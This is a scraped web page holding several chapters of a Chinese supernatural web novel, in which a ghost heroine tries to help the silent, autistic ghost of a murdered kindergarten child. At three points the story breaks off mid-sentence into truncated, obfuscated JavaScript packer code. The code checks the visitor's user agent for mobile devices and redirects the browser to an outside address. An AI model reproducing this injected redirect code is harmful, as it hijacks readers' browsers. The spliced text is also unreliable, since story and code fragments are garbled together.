然后就是放学,路过小1班的时候她看见肖悦老师正在和刚刚她抱过的那个小孩家长说话。家长是一个年轻女孩,看起来酷酷的,抱着小孩一直微笑,嘴里说着什么没事之类的话。 三人一起从小1班出来,正好撞上李婧。 肖悦看到李婧,似乎看到了救命稻草,把手里的纸递给她,就说帮她交给园长,然后头也不回地走了。 年轻女孩朝她点点头,也抱着小孩子走了。 李婧站在走廊下,皱着眉看着手里的纸。这是一份提前接走孩子的说明,家属签名那里字迹十分潦草,只能勉强辨认出一个钟字。 钟……鬼吗这是?李婧又看了两眼,实在辨认不出这龙飞凤舞的写的是啥。 她垂下手,一眼看到了前面院子里那个蹦床。此时全部孩子都已放学,整个校园里只剩了她们几个还在加班的老师。 李婧皱着眉,小孩的“头上有人”几个字突然浮现在耳边。 她一瞬间神经错乱,竟鬼使神差地想要去看看肖悦之前爬过的地方,然而刚迈出两步,肩膀就被重重地拍了一下。 不要去。 身后传来一个声音,李婧回过头,看见刚才的女孩此刻正微笑地看着她。 她的为什么还没问出来,女孩就拉着她往外走,边走边说道,你们这不久之前是不是死了一个小孩。 李婧大吃一惊,问你怎么知道。 这件事明明只有她们内部几个人知道,怎么会被学生家长知晓? 然而女孩只是叹了口气,说,是园长告诉我的。 园长?李婧眉头紧皱,园长为什么要告诉学生家长?不是不许外传吗? 女孩站在门口,不再拉着她往外走,只是朝她挥了挥手,说了一句少让小孩子们玩蹦床就好了,然后就走了。 李婧站在原地,看着女孩的背影不知所措。 那天过后,肖老师就没来了。那个被她抱过的小孩和来接他的女孩也没再来,她也莫名地注意起了女孩的话,真的很少带班里的孩子们玩蹦床,还告诉了和她比较亲近的几个老师,很快,整个幼儿园的孩子真的很少像之前那样哭了,幼儿园很快就恢复了以前的秩序。 几天之后,暑假来临,所有人离开了校园。新的假期开始,旧的学期过去,没有人再记得这件事。 但是李婧心里一直还是隐隐有个疙瘩,心想着还是找个时间去看看肖老师。 那天她走的时候脸色很差。李婧想,毕竟同事一场。 …… 白心看着那张毫无表情的脸,心里发毛。 人的面部有大约四十二块肌肉,它们共同协作,可以使人做出各种丰富的表情。 但是,你有没有见过没有表情的人?不是普通的不做表情,而是不知道如何做表情,充斥着麻木、无知和空洞,像伪人,像……动物。 白心看着站在蹦床中心一动不动的小女孩,嘴里猛咽口水。 小女孩也看着她,没有表情,也不眨眼睛,只是直勾勾地看着她,也不说话。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870145|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……你好?”白心关掉手环,率先开口。 她不回答。 “……Hello?”白心又说道,语气小心翼翼。 她仍然不回答。 “扣你几哇?”白心站在原地,切换各国语言,“萨瓦迪卡?阿尼哈塞哟?” 她还是不回答。 白心感觉到头上的冷汗下来了,此时此刻的氛围简直诡异到了极点。小女孩就那么看着她,什么动作都没有,对她的打招呼没有一点反应。 听不懂吗?白心看着她,大气都不敢喘,这咋整,她只会这几句啊! 还是……听不见? 她突然想起自己孱弱的灵魂种子,心想会不会是有人的灵魂天生就带有残疾? 白心站在草坪上,向左转过身,面朝着蹦床。她硬着头皮,挤出一个微笑,伸出右手比了一个“你好”的手语。 还好她平时天马行空,没事干的时候就喜欢看点奇怪的东西。这手语就是她从小某书上学来的,虽然生前对她没用,死后这不是让她用上了嘛。 然而,对方还是一言不发,也跟看不懂似的没有任何反应。 白心放下手,心跳还是十分剧烈。 刘晓希的眼泪雨没让她感觉到多害怕,此时这个一动不动的小女孩倒是快把她心脏都吓出来。 因为刘晓希尚且有行动、行为也符合逻辑,而她面前这个小鬼,什么动作都没有,你不知道她下一步会干什么。 恐惧来源于未知。 白心猛咽口水,想起李婧的话,明白这个女孩应该就是蓝天幼儿园被杀害的那个孩子。 两人隔着蹦床的布网对视,白心看见她披着头发,穿着一件天蓝色短袖,胸口处有一朵粉色的花,有点褪色了,裤子是普通牛仔裤,裤腿一边高一边低,一截细细的小腿露在外面,鞋子是红色的布鞋,但是……只有一只。 白心再低下头看自己,还穿着陈灵给她换上的睡衣,脚上踩着她网购的踩屎感拖鞋,头发也没扎,比起对方,她倒是更像一个女鬼。 看来肉身穿什么,灵魂出来的时候就会穿什么。 白心抬起头,看着面前的小女孩,又说了一次:“你好?能听见我说话吗?” 小女孩依旧不理她。 这…… 白心有点无措,她尚且能在雨里大喊,用声波震撼一下刘晓希,但她现在面对的是一个她说什么都没反应的孩子。 孩子。白心眼睛忽然一亮,小孩的世界运行的逻辑是什么? 没有逻辑。 她不知道这个小女孩具体年龄,但是根据她自身的生长经验判断,应该不超过五岁。 哪怕是她这种矮子,五岁的时候也长得比这个女孩现在高了。白心看着这个小小的女孩,估摸出对方应该还没上大班。 三四岁。白心想,三四岁的小孩还在秩序建立期和世界摸索期,字都不认得几个,基本凭借本能行动。 本能,白心又想,小孩的本能是啥? 她抠了抠头皮,像牛顿被苹果砸中了一样突然顿悟,两眼冒金光。 玩!就是玩! 白心放下手,目光终于从小女孩的身上离开,聚焦到了她所在的这个蹦床。她抬起右脚,慢慢朝前方走去,逐渐接近蹦床。 无论多大的小孩,都爱玩。有人爱读书有人不爱读,但没有人不爱玩的。 而爱玩的本质是对这个世界的好奇。白心想起自己小时候,顽皮得老师直打她屁股,罚她站墙角。长大之后虽然天天宅家,不出去玩,但也是天天抱着个手机摄入大量信息。 好奇心,是世界赠与小孩的第一颗心。 哪怕在母体中,就开始通过听觉、触觉感知世界,在复杂心智成熟前,好奇心是每个小孩最早点亮的那颗心。 白心走到蹦床的入口处,毫不犹豫地走了上去,弯下腰钻了进去。 小女孩终于有了一些动作。 她转过身,看着这个奇怪的大姐姐突然接近她,还站到了她的面前。 白心站在蹦床上,抬起头,看见自己离头顶的横梁还有一个头的距离。 矮人的优势这就显示出来了。她两眼一闭,双脚发力,轻轻地蹦了起来。 虽然很神经,但她知道,想要迅速和对方熟络就必须先和她有共同话题。 不管了—— 一起来玩蹦床吧! 38.沉默的幼儿园(五) 白心闭着双眼,两腿使劲,就这么自顾自蹦了起来。 脱离肉身后轻盈了不少,白心感觉到,只要稍微用一点力,她的灵魂就会高高地弹起来。 好快乐。她的内心忽然一阵轻松、愉悦,无忧无虑的状态仿佛回到了小时候。 她八十多斤的身体已经很瘦,成年后却从来没有过这么轻快的感觉。只要轻轻施加一点力,世界就会把你高高举起。 更多的时候是世界用力把你往下拽,而你拼尽全力还是会陷入生活的泥潭。 白心像个小孩,越蹦越兴奋,撒欢的样子让她的年龄直接倒退二十年。旁边的小女孩也跟着蹦了起来,一大一小两个白色灵魂就这么在月光下沉默地蹦着,沉默地快乐着。 白色,没有伤害。白心边蹦边想,她和她一样,都是白色。 不悲伤、不愤怒也不怨恨,白心低下头,看着下面小女孩头顶的小小发旋,心想,你的执念是什么呢? 什么样的执念,会深深地扎根在一个迷茫的小孩心中? 小孩仍然没有说话,只是蹦着。近距离观察,白心看见她的动作略微僵硬,虽然是在蹦,但是总有种不太协调的感觉。 不仅如此,她整个人也给她一种很奇怪的感觉。 从看到她的第一眼起,白心就觉得,这个孩子,十分地……不自然。就像歌曲会有韵律节奏,炒菜会有大小火候,每个人也有自己的生命气质。 而她,像一个没有生命的人。或者说,像一个没有灵魂的人。哪怕是现在已经是灵魂的状态,内心深处仿佛也是空洞洞的。 白心皱着眉看她,小孩就在她旁边蹦着,而且一直在一个地方蹦。 也不看她。小女孩背对白心,身体朝着蹦床外面,机械重复着蹦的动作,仿佛身边的白心不存在似的。 白心停了下来,在弹力布上站稳,想看看她到底想干啥。 不说话没关系,有行动也可以。只要她有所行动,她就可以沿着蛛丝马迹去寻去找。 然而对方没有任何其他的动作。 万籁俱寂,月光照在整个院子里,白色的白心眉头紧皱,看着面前这个不说话只是蹦的白色的小孩灵魂。 刻板行为吗?白心端着下巴思考,动物被关在动物园里久了会出现不停转圈之类的行为,但那是因为违背了它们的天然习性,小孩在幼儿园怎么会有刻板行为呢? 难道执念是玩蹦床?她又想,想玩下去之后也可以玩,地府那么先进,就算她想玩蹦极应该问题都不大,为什么非要呆在这个幼儿园里? 那是什么?白心想了两点,大脑的程序就迅速卡住了,她不知道还有什么让这个小女孩不肯离开。 难道是……复仇?白心强行往下想,是不是被杀害的缘故,所以放不下仇人?但是…… 但是她是白色的啊。白心叹了口气,放下手,心里终于有种淡淡的无奈。 正想着,小孩停下来了。 白心瞬间站直,如临大敌,等待着她下一步的动作。 小孩转过身,径直饶过白心走了出去,站到了院子里。 白心也赶紧转身跟着她,俩人站在草坪上,互相都不说话。 下一秒,四周忽然一亮。 嗯?白心感觉到周围像萤火虫发光一样柔柔地亮了一下,她抬起头,目光从小孩身上移开。 惊奇的景象发生了。 白心看到,墙壁上画的小花小草都动了起来,像活的一样摇摇晃晃,小动物也动了起来,兔子、猴子、猫咪……还有她刚进来时看到的那只象。 她瞪大了眼睛,侧过头看着旁边这个一言不发的小孩。 她也有特殊能力?! 不仅如此,她也动了起来。 白心感觉到自己突然向上飘了一下,整个人都从地面离开了,同时,那些小花小草小动物也从墙壁上离开了,所有的植物动物都移到了院子里,绕成一圈围住了她俩。 “停停停——”白心看着自己越飘越高,大声喊道,试图阻止她。 然而小孩还是跟没听见似的没任何反应,向前跑了两步,抓住飘过来的一只猴子的手就玩了起来。 我勒个豆,白心目瞪口呆,这是操纵系啊。 白心飘在天上,成为了动物园大家族的一员,她的旁边正好是那只小象,此刻正摇晃着鼻子惊悚地朝着她笑。 靠,别笑了!白心扭过头,不愿再看,心说笑得比她还难看。 然而小孩玩得很开心。白心低下头,看见小女孩在地面上,脸上终于有了一丝笑容,虽然还是笑得很僵硬很诡异,但总算不是伪人似的面无表情了。 她左手牵着小猴子,右手抱着小猫咪,开心地在地上打滚。 终于高兴了。白心呼了口气,渐渐放下心来。 只是很诡异。白心看着周围这片沉默的花草动物和下面沉默的小孩,心想,太安静了。 没有人说话。小女孩哪怕是在笑也不说话,她旁边的动物也不说话,此情此景宛如一部默片。 沉默的幼儿园。 “你好——”白心飘在天上,双手举起呈喇叭状,率先打破沉默,再一次尝试交流。 小女孩还是不回答。 “喵喵喵,”白心甚至开始尝试动物语言,“汪汪汪!呜呜呜哈哈哈!乌拉呀哈~” 小女孩依旧不回答。 白心闭上嘴,把手放下来,心里满满的无奈。什么鸟语都试过了,她想,为什么不回答。 三体人吗她是? 白心飘在天上,脑袋耷拉下来,一副垂头丧气的模样。她终于明白为什么这任务会到她手上了,3000的功德点确实不是这么好拿的。 哎?下一秒,她双眼猛地一亮,抬起头来,迅速打开了手环。 上次她在论坛上刷到了关于刘晓希的帖子,既然别人可以发帖求助,那她也可以啊! 有工具为什么不用啊!人类和动物的区别之一就是会使用工具! 白心没有犹豫,点开瞒天过海就开始编辑标题和正文。 标题:《求助!请问有人知道蓝天幼儿园的小女孩是怎么回事吗?》 白心写了半天,好不容易写完,又删删减减了许久,怎么看怎么不满意,最后索性全部删了。 她退了出去,首页上帖子太多,她这个标题显得很没有吸引力。 思考了几分钟,她重新编辑,拟好了标题:《今天刚死,下地府遇到了前男友的现男友,他说要带我去捉奸,我该去吗?》 正文:标题党致歉!本人是想问问关于安阳区蓝天幼儿园的事情,请问有知情人士吗?谢谢! 写完后,白心对着帖子欣赏了一番,满意地点点头,嘴里直哼哼,心说不愧是我。 编辑完毕,点击发送。 发出去后,页面重新回到了论坛首页。白心看着热闹非凡满天飞的帖子,心说终于有空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874647|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好看看这个匿名论坛了。 上次刚一进去就刷到了关于刘晓希的帖子,然后就碰上了车祸,遇到了故意来捉王二的钟槐,后面又夺命似的进了医院完成任务,搞得她都没仔细看过这个论坛。 她一边看一边刷,发现她上次刷到的帖子也不是巧合,本来就已经有很多帖子讨论刘晓希了。 最新的一条是问刘晓希被谁带走了,评论都说不知道,不晓得是何方神圣,还有一条评论说可能是小明。 小明谁啊,白心挑了一下眉,心说这个小明有我这个小白厉害吗。 然而她没有发言,只是退出了帖子。她早已习惯在网络世界当一个旁观者,不和任何人共享她的喜怒哀乐。 能量低的人是这样的,三次元的生活本就累得爆炸,白心完全没有多余的精力去应付杠精成群一点就炸的互联网上的神人。 她往下刷,越刷眼睛瞪得越大,突然觉得自己刚才取的标题也不算啥了。 什么《在地府遇见了公婆他们让我下辈子四年生三胎》、《重生之我在地狱拔我前夫的手指甲》、《穿越成引渡人后我亲手送走了我的情人》、《救命!去接一个阴湿男鬼结果对方爱上我了!》 白心:…… 怎么这些鬼的鬼生比她还丰富多彩呢。白心看着这些炸裂标题,眼角抽搐,心说你们上辈子都是写小说的吧。 在下佩服,她由衷赞叹,小女子甘拜下风。 突然,手环连续震动了几下。 来了,白心看着右下角消息处的红点,知道自己的帖子是被人回复了。 她迫不及待点开自己的帖子,发现已经有了十几条回复。 喜欢耙耙柑:什么鬼,点进来想吃瓜的,结果就这? 涪陵榨菜:没意思,走了。 奥利利奥:楼主起标题有一手的,又上当一次。 彩色铆钉:看到你之前我简直在乱起标题。 不准喜欢耙耙柑:笑死,刚想给你提几个捉奸小妙招,看起来似乎是不需要了。 玉灵膏:87,我记住你了。 …… 白心一路看下去,评论基本都是吐槽她的。 Sorry啦,她抠抠头皮,这不是没办法嘛,不想办法把你们骗进来,你们还不都去追狗血剧去了。 不过论坛的氛围还是挺好的,虽然是吐槽,但是没什么脏字。白心想,或许这就是人之将死其言也善?不对,是已经死了。 但是,虽然氛围良好,十几条回复却没一条有用的。白心叹了口气,低下头看着下面玩得不亦乐乎的小女孩。 也是,才一个多月,她想,不比刘晓希在医院待了半年,接触的人自然多。 估计都没几个鬼来过这。 白心又叹了口气,抬起头,关掉了自己的帖子,开始在上方搜索栏搜索蓝天幼儿园。 把之前的帖子都找出来看看,她想,或许会有什么线索。 然而,她的手指刚点上那个放大镜一样的搜索标志,手环又是一震,提醒她帖子又有人评论了。 她只好退出去,重新点开自己的帖子。 她看见自己的帖子下面多了一条回复。 小明:没用,你问不出来的。 小明?白心看着这个刚才在刘晓希的帖子里出现过的名字,心说是这个小明吗? 她迅速回复:为什么? 小明:因为这个小孩是自闭症。 39.沉默的幼儿园(六) 自闭症? 白心猛地看向地面的小孩,她是自闭症儿童? 小女孩躺在地上,怀里抱着刚刚的小猴子,然而猴子的一只手被她牢牢攥住、无意识地狠狠往外扯动着,好像下一秒就会被扯掉。 原来如此。白心抬起头来,看着周围排列整齐的花草动物,终于明白为什么她一进来就觉得不对劲了。 自闭症儿童往往沉浸在自己的世界,对别人的呼唤没有反应,且伴随着一些重复刻板行为。 她不是进入了幼儿园,而是进入了她的世界。 手环接二连三地震动,白心回过神来,看见帖子下面又多了几条回复。 领导同事在地狱:自闭症?那麻烦了,根本无法沟通。 阿莫西林:别说,我同事的孩子就是自闭症儿童,她已经崩溃了。 卡皮巴拉:看是什么程度吧,轻度的话还是可以干预的。 香水有毒:像这种可以申请特殊情况吧,让黑白无常来带走。 阿肯苦力猴亚猴奔:或者在线等一个儿童心理咨询师?有没有上辈子当过心理医生的。 迪卡普外奥:得了吧,鬼节马上到了,他俩哪有空处理这事。 …… 虽然都在帮忙出主意,但是白心的注意力还是全部集中在了一条评论上。 小明:她应该是中度自闭,不说话只是说话时间晚,想象力还是有的,并且只跟熟人玩。 好专业的评论。白心看着这位起名低调却大名鼎鼎不明觉厉的匿名用户,心想这又是人间哪位神医。 她回复道:好厉害,你是心理医生吗? 下面其他人的回复也很快跟上: 迪达陆贡嘎猴大黑:偶像,这你都知道! 阿莫西林:我天呢,这里也有你,肝帝非你莫属! 晚安玛卡巴卡:活菩萨转世了这是。 加我周周享9·9:但是,那怎么办啊?难道真的要等黑白无常来吗? …… 白心的回复很快淹没在众人的回复里。小明一出现,大家立马就忽略了她这个帖主的存在。 白心飘在天上一动不动,看着大家追星似的回复小明,狂热程度堪比互联网上那些男团女团的粉丝。 小明,你很有名。白心眯起眼睛,等着对方回复。 似乎是混的久一点的用户都知道这个人。她想起之前的帖子,判断出小明之所以这么受欢迎,应该是引渡了很多亡魂的原因。 卷王。白心随便粗糙一推理,得出了这个结论:小明是一位身怀绝技业绩超群天赋与努力并存的卷王加肝帝。 她十分敬佩却敬而远之的那种人。白心双手抱胸,手环还在不停震动,网友不断地回复着小明,把她的回复淹没在海量的评论里。 白心吸了吸鼻子,看着她的帖子就这么火了起来。还好是匿名,她想,要是实名她的社恐应该早就发作让她删掉帖子了。 几分钟后,小明回复道:我不是。 白心迅速打字回应,生怕自己的回复又被吞没:那你怎么知道这么详细? 不是心理医生,还能看出小孩是自闭症?看出就算了,还能判断出是中度? 难不成是什么知情人士?白心把眼睛瞪得像铜铃,脑子里思绪又开始乱飞,幼儿园老师?园长?还是同学爸妈?或者家里人? 小明立即回复:因为我也是自闭症。 白心:…… 抱歉。白心想,没算到这茬。 小明又接了一句:只不过我是高功能,所以看起来和正常人区别不是很大。 白心眉头一皱,看着小明的回复有点不知所措。她只是上网冲浪的时候浏览过一些关于自闭症的帖子,但是对其等级划分和具体细节都不是特别了解,只知道自闭人群和普通人群大概的区别。 因为她也经常不和人说话,一抱着手机就跟中了毒似的无法自拔。在人人都开始网络诊病确诊自己焦虑症、抑郁症还有ADHD之类的病的时候,她也不例外,怀疑过自己是不是因为得了什么病才如此自闭。 后来她一通对照下来,发现自己根本没病,只是单纯厌人。 小明又留下一句:所以,她是不会回应你的。你也一样,不必在此浪费时间。 白心一愣,看着小明这句有点冷漠却莫名又有点自来熟的话,心里有种奇怪的感觉。 虽然说打工的时候不要掺杂个人感情,小明的做法也无可厚非,但她觉得,“浪费”这个词会不会有点太重了? 这并不是什么为社会的发展贡献力量之类的虚无口号,白心低下头,看着玩累了闭上眼睛平躺在草坪上的小孩,想,这是在帮一个实实在在的个体解决问题。 而且,白心又抬起头,看见小明不再回复,下面的评论如潮水般涌进来——为什么,有种熟悉的感觉? 小明是谁? 小孩玩累了,整个人呈“大”字型躺在草皮上,白心感觉到本就寂静的环境更安静了,所有的花草和小动物都慢慢飘了回去,白心也渐渐往下,回到了地面上。 两点了。白心看见屏幕里的显示时间,还有四个小时。 不急。 白心关掉手环,看着草地上的小孩,微微一笑,心里反而平静了下来。 她朝小孩走过去,走到小孩的旁边同样躺了下来,变成了一个更大的“大”字。 白心看了一眼右边双眼紧闭的小女孩,转过头看着天上弯弯的月亮,心想,没关系,我愿意等到你开口说话。 小明的话里有三个关键信息:一是小孩其实会说话;二是她具有一定想象力;三是会跟熟人玩。 也就是说,关系足够亲密,还是有可能听见她说话的。 月光毫不吝啬地倾泻下来,泼在草坪上两个白色灵魂的身上,周围一点声音都没有,白心看着月亮,大脑逐渐放空,静静享受着这片寂静。 被生活搓磨多年,白心已经深谙世上无难事只要肯放弃的人生哲学,考试题目不会就不写、房子不好住就换、工作做不下去就辞、交流不了的人直接删……没有什么是必须的。 人都会死,所以没有什么是必须存在的。让生活像水一样流过,生命才能最大程度地不被消磨。 但是…… 白心扭过头,看着旁边睡着的小孩。同样是白色灵魂,她们却完全不同。 她没有锚点。就是这样,白心想,小孩对人间有很大的执念,但是她没有,人间没有什么让她念念不舍的、像钩子一样牢牢勾住她灵魂的东西。 所以其实这个任务也可以放弃。 但不知道为什么,她内心深处突然上来一股倔劲,小明的话更是直接点燃了她心里那把早就熄灭的火把。 二十多年前,她就在这里,在这个幼儿园,帮助她的同桌解决了很多问题。钟榆的作业本被弄脏,她就帮她换新的;钟榆被欺负,她就帮她反驳回去;钟榆嚎啕大哭,她就不顾一切拿起“武器”向对方下死手。 这座老旧的蓝天幼儿园,就是她曾经孤注一掷、不计后果、永不服输的勇气存在过的证明。 我就要在这里“浪费”时间,白心想,我就是要死磕到底! 白心迅速爬起来,打算四处看看,寻找有没有新的线索。 李婧。她忽然想起李婧,之前去幸福小区的时候李婧就告诉过她关于这个小孩的事,而且,蓝天幼儿园的小孩大哭起因是小班的一个孩子看见了她。 姓钟,钟家后人。钟槐。 白心双眼一亮,立即重新打开了手环,这不巧了吗,天无绝人之路,你们俩就是我掌握信息的最好渠道啊。 手环刚一打开,一阵急促的铃声就响了起来,还伴随着震动。 “叠个千纸鹤,再系个红飘带,愿善良的人们天天好运来~~” 白心看着屏幕里那张熟悉的美丽动人的脸,配合上《好运来》这首吉祥喜庆的歌曲,怎么看怎么怪异,大晚上的甚至还有点瘆人。 朱萸打视频电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877660|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话来了。 “干嘛?”白心接通,屏幕立即被朱萸的脸占满。 朱萸依旧躺在摇椅上,手里拿着她那千年传承的大蒲扇摇来摇去,笑着对白心说道:“我看看你在干嘛啊,有没有危险啊。” 白心看着朱萸,心里有点无语。 她很讨厌别人有事没事直接一个电话打来,尤其是视频电话,这是对社恐人士最大的精神恐吓!所以她除了闹铃,手机基本都是开的震动或静音,她坚信对方要是真的有事一定会打两遍,至于她能不能接到,那就看对方运气了。 但是……白心看着屏幕里朱萸三百六十度无死角的脸,心里的气顿时就消了。 算了,她想,欣赏美貌也是愉悦了她的身心,扯平了。 朱萸在屏幕那头,看着白心的脸由黑转红又转白,不明所以:“你怎么了?是遇到什么事了吗?” “没有,”白心赶紧回复正常表情,回答道,“我挺好的,没事。” “你在哪儿?”朱萸又问。 “我在做任务啊,”白心用意念把屏幕朝向地上的小孩,展示给朱萸看,“你看,史上最大BUG来了。” “什么BUG?”朱萸眉头一皱,有点不理解。 白心又把屏幕朝向自己,叹了口气,回复道:“她是个白色灵魂,但却是E级。” “你见过这样的吗?”白心看着朱萸问道,这土地婆活了一百多年,应该什么鬼都见过了吧? 朱萸“哦”了一声,想了一下,回复道:“见过,但是我不管这个啊。” 她说:“我只负责把他们带下去,不管解决他们的执念啊。” 白心的心里刚雀跃了一下,朱萸的后半句话又把她心里微小的火苗浇灭。也是,她想,土地婆有自己的工作要做,不管其他事。 对地府这种专人专职的系统来说,那是另外的价钱。 “是个小孩儿?”朱萸又问。 白心点点头,低下头,无奈回应道:“是啊,而且是自闭症儿童,根本不知道她的执念是什么。” “也许,是她没意识到自己的执念。” 嗯?白心抬起头,看着朱萸的眼睛,又问道:“什么意思?” 朱萸摇摇扇子,微微一笑:“就是有执念,但是自己不知道。” 这…… 白心忽然想起自己看过的某部电影,赶紧问道:“你是说,执念在她的潜意识里吗?” “对,”朱萸点点头,“就是这个意思。” 她继续说道:“我见过的稀奇古怪的鬼太多了,有因为客死他乡执念是家乡的一碗粉的、有因为死得太早放心不下家里的猫的、有生前没见到自己喜欢的明星一面而死不瞑目的、也有像她这种,死了但是走不了,自己也不知道为什么的。” 白心:“……” 她突然觉得刘晓希想见自己孩子一面这个要求也不算啥了,对她来说甚至还挺简单的。要是真遇上朱萸说的这几个,难不成她还要跑到外地去给鬼买粉烧给ta吃、替主人给猫寻个好人家完成白帝城托孤、甚至还要去明星签售会替鬼要一张to签说求求你我的好朋友死了麻烦你写点祝福给ta……吗? “所以,”朱萸又说,“这都很正常。” 白心甩甩头,把乱七八糟的念头甩掉,重新看着朱萸:“那就没有别的办法了?只能等黑白无常来吗?” 朱萸眯起眼睛,看着白心:“你为什么非完成不可呢?” 白心一愣,被朱萸的话一时噎住。 “你的账号ID是多少?”朱萸又问。 “10087,”白心回答,又问道,“你问这个干什么?” 画风突转山路一弯又一弯,她不理解朱萸为啥突然问她的ID。 朱萸轻轻一笑:“你是第10087个引渡人,在你之前有10086个,在你之后还会有无数个,总有人会解决问题。” 白心又一愣。 “为什么非得是你呢?”她说。 40.沉默的幼儿园(七) 为什么非得是你? 白心眉毛一挑,回答道:“这不系统派我来的吗?” 你以为我自找苦吃没苦硬吃啊。白心嘴巴一撇,真是搞笑,我倒是想问为什么是我呢。 听见白心的回答,朱萸微微一怔,然后笑了:“你知道我刚刚说的那几个鬼最后都被谁带走了吗?” “谁?”白心问道。 朱萸笑着说:“客死他乡的被一个开过粉店的同乡带走,放心不下猫的被开宠物店的带走,没见到偶像的被那明星身边的一个工作人员带走了。” “啊?”白心睁大双眼,好神的一群鬼啊。 “所以,”朱萸的大蒲扇晃啊晃,又说道,“引渡灵魂的人越多,意味着解决问题的人越多,每个亡魂遇到最匹配自己需求的人的可能性就越大。” 所以说……这系统派单其实不是乱来?白心皱着眉,看了一眼地上的小孩,她还以为这派单系统遇到她也出了BUG呢。 “系统是有容错的,或许不会一次性找到最符合需求的人,但是每个前去引渡亡魂的人肯定是有一定的解决能力的。” 听完朱萸这番话,白心猛然想起之前的刘晓希。她白天做人晚上当鬼的特殊体质正好完美匹配了刘晓希的需求,但是…… “我想问一个问题。”她提问道。 “什么?” 白心想到那些不肯帮刘晓希忙的人,问道:“所有引渡人白天真的不能出来吗?” 既然他们做不到,系统为什么把刘晓希派给他们? 朱萸眉头轻蹙,不明白白心为什么突然问这个,但还是回答道:“是,也不是。” “什么意思?”白心没听懂。 朱萸想了一下措辞,又说:“就是原则上不可以。” 白心:…… 好耳熟的一句话啊。原则上不行,就是潜规则可以。原则上可以,就是实际上不行。 果然天下职场一般黑。白心又问道:“你是说要花钱,不是,花功德才能出来吗?” 朱萸笑了,点了点头,说道:“你还是有慧根的嘛,就是这样。” “白天想出来可以,但是一要花钱买紫外线防射衣,你们受不了太阳的,二呢就是要打点一下把守地府大门的那些阴兵阴将,让他们给你留个小门好回去。” 白心:“……” “不过呢,”她继续说道,“这个属于潜规则,所以不是所有人都知道。” 白心在心里呵呵一笑,心想果然规则是给老实人设置的。 所以那些帮不了刘晓希的人,可能有一些真的不知道,而另一部分,是不肯花费自己的时间和功德。 朱萸:“你问这个干嘛?你白天不是正常人吗。” 白心摇摇头,笑了一下:“没有,就是随便一问。” 看来,系统派单确实有依有据。每个接到单的人的能力或许不能百分百契合亡魂执念,但一定不是束手无策。 但是……白心又低头看了一眼小孩,心想,此时此刻,她确实束手无策,没有直接的办法。 “我想问……”白心喃喃说道。 “什么?”朱萸在屏幕那头竖起耳朵。 “地府有没有那种……能直接获取灵魂种子的工具?” 说完,白心自己都咋舌,仿佛是在问有没有能直接把人的心脏挖出来的工具。 撒旦听了都要复活了。 然而,朱萸却很快回答道:“有。” 还真有啊?白心抬起头,不可思议地看着朱萸:“那要多少功德才能买到?” 朱萸摇摇头:“不用功德。” “那是捉鬼师专用的,”她笑了一下,“对付恶灵用的。” 哦……白心松了口气,不知为什么,当她听到有这种工具存在时,心里猛地揪了一下。 要是真的能被引渡人买到,还不知道会有什么事发生…… 朱萸又说:“恶灵的执念往往太深,不是复仇就是毁灭,基本无法化解,所以只能用特殊工具取出来。” 白心眼睛猛地一亮,赶紧问道:“是不是取出来了,就会变成白色的灵魂?” “对,”朱萸回答,“这样既能节省人力,也能减少他们的痛苦。” 简单来说,就是老天看你太痛苦,派个人一枪给你毙了,省时又省力。用一时之痛换一世无忧,其实也不失为一种好方法。 怪不得王二变成了白色。白心想起他在钟槐身边的忠犬模样,终于知道这是为什么了。 “但是有一点,”朱萸又说道,“就是取出来后,他们上一世的记忆也会消失,等于一切从零开始。” 从零开始。白心想,这又何尝不是一种安乐死。 当一个人被自己无法控制的执念和痛苦控制,或许失去一切,才是最大的解脱。 “所以,你真的还要继续在这里吗?”扯了半天,朱萸终于把话题掰回正轨。 “你可以等下一个人来啊,”她说,“她总会等到最适合她的人。” 白心看着屏幕里朱萸温柔的眼神,心里忽然有种被微风照拂了一样的柔柔的感觉,慢慢说道:“我只是……想做点什么。” 哪怕只是陪她躺在地上看星星看月亮,陪她玩一会儿,让她感到开心快乐……白心想,她只是想稍微做点什么。 如果可以,她也很想回到当年的蓝天幼儿园,回到两岁半的自己身边,给自己擦掉眼泪和屁股上的污垢,告诉她不要害怕。 为同样感到孤独的自己做点什么。 白心看着小女孩,哪怕相隔一定距离,她仿佛也能感觉到她内心的孤独和无措。在巨大的迷茫包裹之下,存在着和所有刚上学的小孩一样的,忐忑不安惊慌无措的一颗心。 朱萸叹了口气:“你们都一个样。” 白心抬起头来,疑惑问道:“你们?” “钟槐她姐也这样,”朱萸还是温柔地看着她,“你这股倔劲跟钟榆简直一模一样。” 钟榆…… 